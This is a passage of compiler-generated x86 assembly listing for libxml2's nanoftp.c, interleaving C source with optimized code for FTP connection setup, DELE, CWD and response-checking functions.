; 1447 : closesocket (ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1448 : }
; 1449 : return INVALID_SOCKET;
; 1450 : }
; 1451 : memcpy (&((struct sockaddr_in6 *)&dataAddr)->sin6_addr, &((struct sockaddr_in6 *)&ctxt->ftpAddr)->sin6_addr, sizeof(struct in6_addr));
; 1452 : ((struct sockaddr_in6 *)&dataAddr)->sin6_port = htons (temp[0]);
; 1453 : }
; 1454 : else
; 1455 : #endif
; 1456 : {
; 1457 : if (sscanf (cur, "%u,%u,%u,%u,%u,%u", &temp[0], &temp[1], &temp[2],
; 1458 : &temp[3], &temp[4], &temp[5]) != 6) {
lea eax, DWORD PTR _temp$[ebp+20]
push eax
lea eax, DWORD PTR _temp$[ebp+16]
push eax
lea eax, DWORD PTR _temp$[ebp+12]
push eax
lea eax, DWORD PTR _temp$[ebp+8]
push eax
lea eax, DWORD PTR _temp$[ebp+4]
push eax
lea eax, DWORD PTR _temp$[ebp]
push eax
push OFFSET ??_C@_0BC@GDCBJEOP@?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu?0?$CFu@
push ecx
call _sscanf
add esp, 32 ; 00000020H
cmp eax, 6
je SHORT $LN16@xmlNanoFTP
; 1459 : __xmlIOErr(XML_FROM_FTP, XML_FTP_PASV_ANSWER,
push OFFSET ??_C@_0BI@FEMCDLGO@Invalid?5answer?5to?5PASV?6@
push 2000 ; 000007d0H
push 9
call ___xmlIOErr
; 1460 : "Invalid answer to PASV\n");
; 1461 : if (ctxt->dataFd != INVALID_SOCKET) {
mov eax, DWORD PTR [esi+48]
add esp, 12 ; 0000000cH
cmp eax, -1
je SHORT $LN17@xmlNanoFTP
; 1462 : closesocket (ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push eax
; 1534 :
; 1535 : }
call edi
mov DWORD PTR [esi+48], -1
$LN17@xmlNanoFTP:
pop edi
or eax, -1
pop esi
mov esp, ebp
pop ebp
ret 0
$LN16@xmlNanoFTP:
; 1463 : }
; 1464 : return INVALID_SOCKET;
; 1465 : }
; 1466 : for (i=0; i<6; i++) ad[i] = (unsigned char) (temp[i] & 0xff);
movzx eax, BYTE PTR _temp$[ebp]
; 1467 : memcpy (&((struct sockaddr_in *)&dataAddr)->sin_addr, &ad[0], 4);
; 1468 : memcpy (&((struct sockaddr_in *)&dataAddr)->sin_port, &ad[4], 2);
; 1469 : }
; 1470 :
; 1471 : if (connect(ctxt->dataFd, (struct sockaddr *) &dataAddr, dataAddrLen) < 0) {
push DWORD PTR _dataAddrLen$[ebp]
mov BYTE PTR _ad$[ebp], al
movzx eax, BYTE PTR _temp$[ebp+4]
mov BYTE PTR _ad$[ebp+1], al
movzx eax, BYTE PTR _temp$[ebp+8]
mov BYTE PTR _ad$[ebp+2], al
movzx eax, BYTE PTR _temp$[ebp+12]
mov BYTE PTR _ad$[ebp+3], al
movzx eax, BYTE PTR _temp$[ebp+16]
mov BYTE PTR _ad$[ebp+4], al
movzx eax, BYTE PTR _temp$[ebp+20]
mov BYTE PTR _ad$[ebp+5], al
mov eax, DWORD PTR _ad$[ebp]
mov DWORD PTR _dataAddr$[ebp+4], eax
mov ax, WORD PTR _ad$[ebp+4]
mov WORD PTR _dataAddr$[ebp+2], ax
lea eax, DWORD PTR _dataAddr$[ebp]
push eax
push DWORD PTR [esi+48]
call DWORD PTR __imp__connect@12
test eax, eax
jns $LN22@xmlNanoFTP
; 1472 : __xmlIOErr(XML_FROM_FTP, 0, "Failed to create a data connection");
push OFFSET ??_C@_0CD@LJAJBLLL@Failed?5to?5create?5a?5data?5connect@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1473 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
push DWORD PTR [esi+48]
; 1534 :
; 1535 : }
call edi
pop edi
mov DWORD PTR [esi+48], -1
or eax, -1
pop esi
mov esp, ebp
pop ebp
ret 0
$LN9@xmlNanoFTP:
; 1474 : return INVALID_SOCKET;
; 1475 : }
; 1476 : } else {
; 1477 : getsockname(ctxt->dataFd, (struct sockaddr *) &dataAddr, &dataAddrLen);
mov edi, DWORD PTR __imp__getsockname@12
lea ecx, DWORD PTR _dataAddrLen$[ebp]
push ecx
lea ecx, DWORD PTR _dataAddr$[ebp]
push ecx
push eax
call edi
; 1478 : #ifdef SUPPORT_IP6
; 1479 : if ((ctxt->ftpAddr).ss_family == AF_INET6)
; 1480 : ((struct sockaddr_in6 *)&dataAddr)->sin6_port = 0;
; 1481 : else
; 1482 : #endif
; 1483 : ((struct sockaddr_in *)&dataAddr)->sin_port = 0;
; 1484 :
; 1485 : if (bind(ctxt->dataFd, (struct sockaddr *) &dataAddr, dataAddrLen) < 0) {
push DWORD PTR _dataAddrLen$[ebp]
xor eax, eax
mov WORD PTR _dataAddr$[ebp+2], ax
lea eax, DWORD PTR _dataAddr$[ebp]
push eax
push DWORD PTR [esi+48]
call DWORD PTR __imp__bind@12
test eax, eax
jns SHORT $LN19@xmlNanoFTP
; 1486 : __xmlIOErr(XML_FROM_FTP, 0, "bind failed");
push OFFSET ??_C@_0M@NNJMLKEI@bind?5failed@
; 1487 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1488 : return INVALID_SOCKET;
jmp $LN44@xmlNanoFTP
$LN19@xmlNanoFTP:
; 1489 : }
; 1490 : getsockname(ctxt->dataFd, (struct sockaddr *) &dataAddr, &dataAddrLen);
lea eax, DWORD PTR _dataAddrLen$[ebp]
push eax
lea eax, DWORD PTR _dataAddr$[ebp]
push eax
push DWORD PTR [esi+48]
call edi
; 1491 :
; 1492 : if (listen(ctxt->dataFd, 1) < 0) {
push 1
push DWORD PTR [esi+48]
call DWORD PTR __imp__listen@8
test eax, eax
jns SHORT $LN20@xmlNanoFTP
; 1493 : __xmlIOErr(XML_FROM_FTP, 0, "listen failed");
push OFFSET ??_C@_0O@MHKNJCGE@listen?5failed@
; 1494 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1495 : return INVALID_SOCKET;
jmp $LN44@xmlNanoFTP
$LN20@xmlNanoFTP:
; 1496 : }
; 1497 : #ifdef SUPPORT_IP6
; 1498 : if ((ctxt->ftpAddr).ss_family == AF_INET6) {
; 1499 : char buf6[INET6_ADDRSTRLEN];
; 1500 : inet_ntop (AF_INET6, &((struct sockaddr_in6 *)&dataAddr)->sin6_addr,
; 1501 : buf6, INET6_ADDRSTRLEN);
; 1502 : adp = (unsigned char *) buf6;
; 1503 : portp = (unsigned char *) &((struct sockaddr_in6 *)&dataAddr)->sin6_port;
; 1504 : snprintf (buf, sizeof(buf), "EPRT |2|%s|%s|\r\n", adp, portp);
; 1505 : } else
; 1506 : #endif
; 1507 : {
; 1508 : adp = (unsigned char *) &((struct sockaddr_in *)&dataAddr)->sin_addr;
; 1509 : portp = (unsigned char *) &((struct sockaddr_in *)&dataAddr)->sin_port;
; 1510 : snprintf (buf, sizeof(buf), "PORT %d,%d,%d,%d,%d,%d\r\n",
movzx eax, BYTE PTR _dataAddr$[ebp+3]
push eax
movzx eax, BYTE PTR _dataAddr$[ebp+2]
push eax
movzx eax, BYTE PTR _dataAddr$[ebp+7]
push eax
movzx eax, BYTE PTR _dataAddr$[ebp+6]
push eax
movzx eax, BYTE PTR _dataAddr$[ebp+5]
push eax
movzx eax, BYTE PTR _dataAddr$[ebp+4]
push eax
push OFFSET ??_C@_0BJ@FJLKMNPA@PORT?5?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?0?$CFd?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 200 ; 000000c8H
push eax
call _snprintf
; 1511 : adp[0] & 0xff, adp[1] & 0xff, adp[2] & 0xff, adp[3] & 0xff,
; 1512 : portp[0] & 0xff, portp[1] & 0xff);
; 1513 : }
; 1514 :
; 1515 : buf[sizeof(buf) - 1] = 0;
; 1516 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+199], 0
add esp, 36 ; 00000024H
lea edx, DWORD PTR [ecx+1]
$LL42@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL42@xmlNanoFTP
; 1517 : #ifdef DEBUG_FTP
; 1518 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1519 : #endif
; 1520 :
; 1521 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
; 1522 : if (res < 0) {
test eax, eax
js $LN45@xmlNanoFTP
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1523 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
; 1524 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1525 : return INVALID_SOCKET;
; 1526 : }
; 1527 : res = xmlNanoFTPGetResponse(ctxt);
; 1528 : if (res != 2) {
cmp eax, 2
jne $LN46@xmlNanoFTP
$LN22@xmlNanoFTP:
; 1529 : closesocket(ctxt->dataFd); ctxt->dataFd = INVALID_SOCKET;
; 1530 : return INVALID_SOCKET;
; 1531 : }
; 1532 : }
; 1533 : return(ctxt->dataFd);
mov eax, DWORD PTR [esi+48]
pop edi
; 1534 :
; 1535 : }
pop esi
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPGetConnection ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPDele
_TEXT SEGMENT
_buf$ = -400 ; size = 400
_ctx$ = 8 ; size = 4
_file$ = 12 ; size = 4
_xmlNanoFTPDele PROC ; COMDAT
; 1324 : xmlNanoFTPDele(void *ctx, const char *file) {
push ebp
mov ebp, esp
sub esp, 400 ; 00000190H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN3@xmlNanoFTP
; 1325 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1326 : char buf[400];
; 1327 : int len;
; 1328 : int res;
; 1329 :
; 1330 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET) ||
cmp DWORD PTR [esi+44], -1
je $LN3@xmlNanoFTP
mov eax, DWORD PTR _file$[ebp]
test eax, eax
je $LN3@xmlNanoFTP
; 1332 :
; 1333 : /*
; 1334 : * Expected response code for DELE:
; 1335 : *
; 1336 : * DELE
; 1337 : * 250
; 1338 : * 450, 550
; 1339 : * 500, 501, 502, 421, 530
; 1340 : */
; 1341 :
; 1342 : snprintf(buf, sizeof(buf), "DELE %s\r\n", file);
push eax
push OFFSET ??_C@_09PCBACKIO@DELE?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 400 ; 00000190H
push eax
call _snprintf
; 1343 : buf[sizeof(buf) - 1] = 0;
; 1344 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+399], 0
add esp, 16 ; 00000010H
lea edx, DWORD PTR [ecx+1]
npad 4
$LL11@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL11@xmlNanoFTP
; 1345 : #ifdef DEBUG_FTP
; 1346 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1347 : #endif
; 1348 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
mov edi, eax
; 1349 : if (res < 0) {
test edi, edi
jns SHORT $LN4@xmlNanoFTP
; 1350 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1351 : return(res);
mov eax, edi
pop edi
; 1359 : return(0);
; 1360 : }
; 1361 : return(0);
; 1362 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN4@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1352 : }
; 1353 : res = xmlNanoFTPGetResponse(ctxt);
; 1354 : if (res == 4) {
cmp eax, 4
je SHORT $LN3@xmlNanoFTP
; 1355 : return(-1);
; 1356 : }
; 1357 : if (res == 2) return(1);
cmp eax, 2
jne SHORT $LN6@xmlNanoFTP
pop edi
mov eax, 1
; 1359 : return(0);
; 1360 : }
; 1361 : return(0);
; 1362 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN6@xmlNanoFTP:
pop edi
; 1358 : if (res == 5) {
xor eax, eax
; 1359 : return(0);
; 1360 : }
; 1361 : return(0);
; 1362 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN3@xmlNanoFTP:
pop edi
; 1331 : (file == NULL)) return(-1);
or eax, -1
; 1359 : return(0);
; 1360 : }
; 1361 : return(0);
; 1362 : }
pop esi
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPDele ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPCwd
_TEXT SEGMENT
_buf$ = -400 ; size = 400
_ctx$ = 8 ; size = 4
_directory$ = 12 ; size = 4
_xmlNanoFTPCwd PROC ; COMDAT
; 1275 : xmlNanoFTPCwd(void *ctx, const char *directory) {
push ebp
mov ebp, esp
sub esp, 400 ; 00000190H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctx$[ebp]
test esi, esi
je $LN3@xmlNanoFTP
; 1276 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1277 : char buf[400];
; 1278 : int len;
; 1279 : int res;
; 1280 :
; 1281 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [esi+44], -1
je $LN3@xmlNanoFTP
; 1282 : if (directory == NULL) return 0;
mov eax, DWORD PTR _directory$[ebp]
test eax, eax
je $LN12@xmlNanoFTP
; 1283 :
; 1284 : /*
; 1285 : * Expected response code for CWD:
; 1286 : *
; 1287 : * CWD
; 1288 : * 250
; 1289 : * 500, 501, 502, 421, 530, 550
; 1290 : */
; 1291 : snprintf(buf, sizeof(buf), "CWD %s\r\n", directory);
push eax
push OFFSET ??_C@_08JEHOKOMP@CWD?5?$CFs?$AN?6@
lea eax, DWORD PTR _buf$[ebp]
push 400 ; 00000190H
push eax
call _snprintf
; 1292 : buf[sizeof(buf) - 1] = 0;
; 1293 : len = strlen(buf);
lea ecx, DWORD PTR _buf$[ebp]
mov BYTE PTR _buf$[ebp+399], 0
add esp, 16 ; 00000010H
lea edx, DWORD PTR [ecx+1]
npad 4
$LL13@xmlNanoFTP:
mov al, BYTE PTR [ecx]
inc ecx
test al, al
jne SHORT $LL13@xmlNanoFTP
; 1294 : #ifdef DEBUG_FTP
; 1295 : xmlGenericError(xmlGenericErrorContext, "%s", buf);
; 1296 : #endif
; 1297 : res = send(ctxt->controlFd, SEND_ARG2_CAST buf, len, 0);
push 0
sub ecx, edx
lea eax, DWORD PTR _buf$[ebp]
push ecx
push eax
push DWORD PTR [esi+44]
call DWORD PTR __imp__send@16
mov edi, eax
; 1298 : if (res < 0) {
test edi, edi
jns SHORT $LN5@xmlNanoFTP
; 1299 : __xmlIOErr(XML_FROM_FTP, 0, "send failed");
push OFFSET ??_C@_0M@EADLIJBM@send?5failed@
push 0
push 9
call ___xmlIOErr
add esp, 12 ; 0000000cH
; 1300 : return(res);
mov eax, edi
pop edi
; 1307 : if (res == 5) {
; 1308 : return(0);
; 1309 : }
; 1310 : return(0);
; 1311 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN5@xmlNanoFTP:
; 716 : res = xmlNanoFTPReadResponse(ctx);
push esi
call _xmlNanoFTPReadResponse
add esp, 4
; 1301 : }
; 1302 : res = xmlNanoFTPGetResponse(ctxt);
; 1303 : if (res == 4) {
cmp eax, 4
je SHORT $LN3@xmlNanoFTP
; 1304 : return(-1);
; 1305 : }
; 1306 : if (res == 2) return(1);
cmp eax, 2
jne SHORT $LN12@xmlNanoFTP
pop edi
mov eax, 1
; 1307 : if (res == 5) {
; 1308 : return(0);
; 1309 : }
; 1310 : return(0);
; 1311 : }
pop esi
mov esp, ebp
pop ebp
ret 0
$LN12@xmlNanoFTP:
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0
$LN3@xmlNanoFTP:
pop edi
; 1276 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 1277 : char buf[400];
; 1278 : int len;
; 1279 : int res;
; 1280 :
; 1281 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
or eax, -1
; 1307 : if (res == 5) {
; 1308 : return(0);
; 1309 : }
; 1310 : return(0);
; 1311 : }
pop esi
mov esp, ebp
pop ebp
ret 0
_xmlNanoFTPCwd ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\nanoftp.c
; COMDAT _xmlNanoFTPCheckResponse
_TEXT SEGMENT
_rfd$ = -276 ; size = 260
_tv$ = -16 ; size = 8
_res$1$ = -8 ; size = 4
$T1 = -4 ; size = 4
_ctx$ = 8 ; size = 4
_xmlNanoFTPCheckResponse PROC ; COMDAT
; 730 : xmlNanoFTPCheckResponse(void *ctx) {
push ebp
mov ebp, esp
sub esp, 276 ; 00000114H
mov ecx, OFFSET __D3ED00D9_nanoftp@c
push ebx
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _ctx$[ebp]
test ebx, ebx
je $LN11@xmlNanoFTP
; 731 : xmlNanoFTPCtxtPtr ctxt = (xmlNanoFTPCtxtPtr) ctx;
; 732 : fd_set rfd;
; 733 : struct timeval tv;
; 734 :
; 735 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
mov eax, DWORD PTR [ebx+44]
cmp eax, -1
je $LN11@xmlNanoFTP
; 736 : tv.tv_sec = 0;
; 737 : tv.tv_usec = 0;
; 738 : FD_ZERO(&rfd);
; 739 : FD_SET(ctxt->controlFd, &rfd);
; 740 : switch(select(ctxt->controlFd + 1, &rfd, NULL, NULL, &tv)) {
lea ecx, DWORD PTR _tv$[ebp]
mov DWORD PTR _rfd$[ebp+4], eax
push ecx
push 0
push 0
lea ecx, DWORD PTR _rfd$[ebp]
mov DWORD PTR _tv$[ebp], 0
push ecx
inc eax
mov DWORD PTR _tv$[ebp+4], 0
push eax
mov DWORD PTR _rfd$[ebp], 1
call DWORD PTR __imp__select@20
cmp eax, -1
je $LN16@xmlNanoFTP
test eax, eax
je $LN15@xmlNanoFTP
; 646 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [ebx+44], -1
push esi
push edi
mov DWORD PTR _res$1$[ebp], -1
je $LN26@xmlNanoFTP
$get_more$95:
; 565 : if ((ctxt == NULL) || (ctxt->controlFd == INVALID_SOCKET)) return(-1);
cmp DWORD PTR [ebx+44], -1
je $LN26@xmlNanoFTP
; 566 :
; 567 : if ((ctxt->controlBufIndex < 0) || (ctxt->controlBufIndex > FTP_BUF_SIZE)) {
mov ecx, DWORD PTR [ebx+1088]
cmp ecx, 1024 ; 00000400H
ja $LN26@xmlNanoFTP
; 568 : #ifdef DEBUG_FTP
; 569 : xmlGenericError(xmlGenericErrorContext,
; 570 : "xmlNanoFTPGetMore : controlBufIndex = %d\n",
; 571 : ctxt->controlBufIndex);
; 572 : #endif
; 573 : return(-1);
; 574 : }
; 575 :
; 576 : if ((ctxt->controlBufUsed < 0) || (ctxt->controlBufUsed > FTP_BUF_SIZE)) {
mov eax, DWORD PTR [ebx+1092]
cmp eax, 1024 ; 00000400H
ja $LN26@xmlNanoFTP
; 577 : #ifdef DEBUG_FTP
; 578 : xmlGenericError(xmlGenericErrorContext,
; 579 : "xmlNanoFTPGetMore : controlBufUsed = %d\n",
; 580 : ctxt->controlBufUsed);
; 581 : #endif
; 582 : return(-1);
; 583 : }
; 584 : if (ctxt->controlBufIndex > ctxt->controlBufUsed) {
cmp ecx, eax
jg $LN26@xmlNanoFTP
; 585 : #ifdef DEBUG_FTP
; 586 : xmlGenericError(xmlGenericErrorContext,
; 587 : "xmlNanoFTPGetMore : controlBufIndex > controlBufUsed %d > %d\n",
; 588 : ctxt->controlBufIndex, ctxt->controlBufUsed);
; 589 : #endif
; 590 : return(-1);
; 591 : }
; 592 :
; 593 : /*
; 594 : * First pack the control buffer
; 595 : */
; 596 : if (ctxt->controlBufIndex > 0) {
lea esi, DWORD PTR [ebx+60]
test ecx, ecx
jle SHORT $LN91@xmlNanoFTP
; 597 : memmove(&ctxt->controlBuf[0], &ctxt->controlBuf[ctxt->controlBufIndex],
sub eax, ecx
push eax
lea eax, DWORD PTR [esi+ecx]
push eax
push esi
call _memmove
; 598 : ctxt->controlBufUsed - ctxt->controlBufIndex);
; 599 : ctxt->controlBufUsed -= ctxt->controlBufIndex;
mov eax, DWORD PTR [ebx+1088]
add esp, 12 ; 0000000cH
sub DWORD PTR [ebx+1092], eax
; 600 : ctxt->controlBufIndex = 0;
xor ecx, ecx
mov eax, DWORD PTR [ebx+1092]
mov edi, eax
mov DWORD PTR [ebx+1088], 0
mov DWORD PTR $T1[ebp], edi
jmp SHORT $LN44@xmlNanoFTP
$LN91@xmlNanoFTP:
mov edi, eax
mov DWORD PTR $T1[ebp], eax
$LN44@xmlNanoFTP:
; 601 : }
; 602 : size = FTP_BUF_SIZE - ctxt->controlBufUsed;
mov edx, 1024 ; 00000400H
sub edx, eax
; 603 : if (size == 0) {
jne SHORT $LN45@xmlNanoFTP
; 604 : #ifdef DEBUG_FTP
; 605 : xmlGenericError(xmlGenericErrorContext,
; 606 : "xmlNanoFTPGetMore : buffer full %d \n", ctxt->controlBufUsed);
; 607 : #endif
; 608 : return(0);
xor eax, eax
jmp SHORT $LN36@xmlNanoFTP
$LN45@xmlNanoFTP:
; 609 : }
; 610 :
; 611 : /*
; 612 : * Read the amount left on the control connection
; 613 : */
; 614 : if ((len = recv(ctxt->controlFd, &ctxt->controlBuf[ctxt->controlBufIndex],
; 615 : size, 0)) < 0) {
push 0
push edx
lea eax, DWORD PTR [esi+ecx]
push eax
push DWORD PTR [ebx+44]
call DWORD PTR __imp__recv@16
test eax, eax
js $LN88@xmlNanoFTP
; 619 : return(-1);
; 620 : }
; 621 : #ifdef DEBUG_FTP
; 622 : xmlGenericError(xmlGenericErrorContext,
; 623 : "xmlNanoFTPGetMore : read %d [%d - %d]\n", len,
; 624 : ctxt->controlBufUsed, ctxt->controlBufUsed + len);
; 625 : #endif
; 626 : ctxt->controlBufUsed += len;
add DWORD PTR [ebx+1092], eax
mov ecx, DWORD PTR [ebx+1092]
; 627 : ctxt->controlBuf[ctxt->controlBufUsed] = 0;
mov BYTE PTR [ecx+esi], 0
; 628 :
; 629 : return(len);
mov edi, DWORD PTR [ebx+1092]
mov DWORD PTR $T1[ebp], edi
$LN36@xmlNanoFTP:
; 657 : if ((ctxt->controlBufUsed == 0) && (len == 0)) {
test edi, edi
jne SHORT $LN28@xmlNanoFTP
test eax, eax
je $LN26@xmlNanoFTP
$LN28@xmlNanoFTP:
; 658 : return(-1);
; 659 : }
; 660 : ptr = &ctxt->controlBuf[ctxt->controlBufIndex];
mov eax, DWORD PTR [ebx+1088]
; 661 : end = &ctxt->controlBuf[ctxt->controlBufUsed];
add esi, edi
add eax, 60 ; 0000003cH
add eax, ebx
; 662 :
; 663 : #ifdef DEBUG_FTP
; 664 : xmlGenericError(xmlGenericErrorContext,
; 665 : "\n<<<\n%s\n--\n", ptr);
; 666 : #endif
; 667 : while (ptr < end) {
cmp eax, esi
jae $LN20@xmlNanoFTP
npad 7
$LL19@xmlNanoFTP:
; 668 : cur = xmlNanoFTPParseResponse(ptr, end - ptr);
mov ecx, esi
sub ecx, eax
; 531 : if (len < 3) return(-1);
cmp ecx, 3
jl SHORT $LN86@xmlNanoFTP
; 532 : if ((*buf >= '0') && (*buf <= '9'))
mov dl, BYTE PTR [eax]
mov cl, dl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN86@xmlNanoFTP
; 533 : val = val * 10 + (*buf - '0');
; 534 : else
; 535 : return(0);
; 536 : buf++;
; 537 : if ((*buf >= '0') && (*buf <= '9'))
mov ch, BYTE PTR [eax+1]
mov cl, ch
movsx edx, dl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN86@xmlNanoFTP
; 538 : val = val * 10 + (*buf - '0');
; 539 : else
; 540 : return(0);
; 541 : buf++;
; 542 : if ((*buf >= '0') && (*buf <= '9'))
mov bl, BYTE PTR [eax+2]
mov cl, bl
sub cl, 48 ; 00000030H
cmp cl, 9
ja SHORT $LN86@xmlNanoFTP
; 543 : val = val * 10 + (*buf - '0');
movsx ecx, ch
lea edx, DWORD PTR [edx+edx*4]
lea ecx, DWORD PTR [ecx+edx*2]
lea edx, DWORD PTR [ecx+ecx*4]
movsx ecx, bl
lea ecx, DWORD PTR [ecx+edx*2]
add ecx, -5328 ; ffffeb30H
; 544 : else
; 545 : return(0);
; 546 : buf++;
; 547 : if (*buf == '-')
cmp BYTE PTR [eax+3], 45 ; 0000002dH
jne SHORT $LN56@xmlNanoFTP
; 548 : return(-val);
neg ecx
$LN56@xmlNanoFTP:
; 669 : if (cur > 0) {
test ecx, ecx
jg SHORT $LN65@xmlNanoFTP
$LN86@xmlNanoFTP:
; 682 : }
; 683 : while ((ptr < end) && (*ptr != '\n')) ptr++;
cmp eax, esi
jae SHORT $LN66@xmlNanoFTP
npad 6
$LL23@xmlNanoFTP:
mov dl, BYTE PTR [eax]
cmp dl, 10 ; 0000000aH
je SHORT $LN24@xmlNanoFTP
inc eax
cmp eax, esi
jb SHORT $LL23@xmlNanoFTP
$LN66@xmlNanoFTP:
; 685 : ctxt->controlBufIndex = ctxt->controlBufUsed;
mov ebx, DWORD PTR _ctx$[ebp]
mov eax, DWORD PTR $T1[ebp]
mov DWORD PTR [ebx+1088], eax
; 686 : goto get_more;
jmp $get_more$95
$LN24@xmlNanoFTP:
; 684 : if (ptr >= end) {
cmp eax, esi
jae SHORT $LN66@xmlNanoFTP
; 662 :
; 663 : #ifdef DEBUG_FTP
; 664 : xmlGenericError(xmlGenericErrorContext,
; 665 : "\n<<<\n%s\n--\n", ptr);
; 666 : #endif
; 667 : while (ptr < end) {
cmp dl, 13 ; 0000000dH
lea ecx, DWORD PTR [eax+1]
cmove ecx, eax
mov eax, ecx
cmp eax, esi
jb $LL19@xmlNanoFTP
; 647 :
; 648 : get_more:
; 649 : /*
; 650 : * Assumes everything up to controlBuf[controlBufIndex] has been read
; 651 : * and analyzed.
; 652 : */
; 653 : len = xmlNanoFTPGetMore(ctx);
; 654 : if (len < 0) {
; 655 : return(-1);
; 656 : }
; 657 : if ((ctxt->controlBufUsed == 0) && (len == 0)) {
mov ebx, DWORD PTR _ctx$[ebp]
$LN20@xmlNanoFTP:
; 687 : }
; 688 : if (*ptr != '\r') ptr++;
; 689 : }
; 690 :
; 691 : if (res < 0) goto get_more;
mov ecx, DWORD PTR _res$1$[ebp]
test ecx, ecx
js $get_more$95
; 692 : ctxt->controlBufIndex = ptr - ctxt->controlBuf;
sub eax, ebx
sub eax, 60 ; 0000003cH
mov DWORD PTR [ebx+1088], eax
; 693 : #ifdef DEBUG_FTP
; 694 : ptr = &ctxt->controlBuf[ctxt->controlBufIndex];
; 695 : xmlGenericError(xmlGenericErrorContext, "\n---\n%s\n--\n", ptr);
; 696 : #endif
; 697 :
; 698 : #ifdef DEBUG_FTP
; 699 : xmlGenericError(xmlGenericErrorContext, "Got %d\n", res);
; 700 : #endif
; 701 : return(res / 100);
mov eax, 1374389535 ; 51eb851fH
imul ecx
; 745 : return(-1);
; 746 :
; 747 : }
; 748 :
; 749 : return(xmlNanoFTPReadResponse(ctx));
pop edi
; 701 : return(res / 100);
sar edx, 5
mov eax, edx
shr eax, 31 ; 0000001fH
; 745 : return(-1);
; 746 :
; 747 : }
; 748 :
; 749 : return(xmlNanoFTPReadResponse(ctx));
pop esi
; 701 : return(res / 100);
add eax, edx
pop ebx
; 750 : }
mov esp, ebp
pop ebp
ret 0
$LN65@xmlNanoFTP:
; 677 : ctxt->controlBufAnswer = ptr - ctxt->controlBuf;
mov ebx, DWORD PTR _ctx$[ebp]
add eax, 3
mov DWORD PTR _res$1$[ebp], ecx
mov ecx, eax
sub ecx, ebx
sub ecx, 60 ; 0000003cH
mov DWORD PTR [ebx+1096], ecx
; 678 : while ((ptr < end) && (*ptr != '\n')) ptr++;
cmp eax, esi
jae SHORT $LN93@xmlNanoFTP
npad 1
$LL21@xmlNanoFTP:
cmp BYTE PTR [eax], 10 ; 0000000aH
je SHORT $LN93@xmlNanoFTP
inc eax
cmp eax, esi
jb SHORT $LL21@xmlNanoFTP
$LN93@xmlNanoFTP:
; 679 : if (*ptr == '\n') ptr++;
mov dl, BYTE PTR [eax]
mov dh, dl
cmp dl, 10 ; 0000000aH
jne SHORT $LN30@xmlNanoFTP
